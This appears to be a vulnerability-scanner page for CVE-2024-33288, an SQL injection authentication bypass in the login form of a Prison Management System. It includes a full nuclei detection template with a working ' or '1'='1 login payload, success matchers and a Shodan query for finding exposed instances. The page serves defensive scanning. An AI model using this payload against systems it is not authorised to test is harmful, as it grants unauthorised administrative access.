Prison Management System - SQL Injection Authentication Bypass

highseverity

0.9%likelihood of exploitation, next 30 days

61%of all CVEs are less likely

Readycheck to confirm it

Sql injection vulnerability was found on the login page in Prison Management System

Impact

Attackers can bypass authentication via SQL injection to gain unauthorized administrative access to the Prison Management System.

Fix

Apply security patches for Prison Management System addressing SQL injection vulnerabilities.

How to confirm it

Send: POST /Admin/login.php ; GET /Admin/index.php
Positive when: contains "<p>Change Password</p>" and "<p>Logout</p>" and "Admin Dashboard | Prison Management system" AND status 200

Run it with nuclei: nuclei -id CVE-2024-33288 -u <target>

The full check

id: CVE-2024-33288

info:
  name: Prison Management System - SQL Injection Authentication Bypass
  author: s4e-io
  severity: high
  description: |
    Sql injection vulnerability was found on the login page in Prison Management System
  impact: |
    Attackers can bypass authentication via SQL injection to gain unauthorized administrative access to the Prison Management System.
  remediation: |
    Apply security patches for Prison Management System addressing SQL injection vulnerabilities.
  reference:
    - https://en.0day.today/exploit/39610
    - https://www.sourcecodester.com/sql/17287/prison-management-system.html
  classification:
    cpe: cpe:2.3:a:prison_management_system_project:prison_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: prison_management_system_project
    product: prison_management_system
    shodan-query: title:"Prison Management System"
  tags: cve,cve2024,cms,sqli,vuln

http:
  - raw:
      - |
        POST /Admin/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        txtusername=admin%27+or+%271%27+%3D%271&txtpassword={{randstr}}&btnlogin=
      - |
        GET /Admin/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<p>Change Password</p>"
          - "<p>Logout</p>"
          - "Admin Dashboard | Prison Management system"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from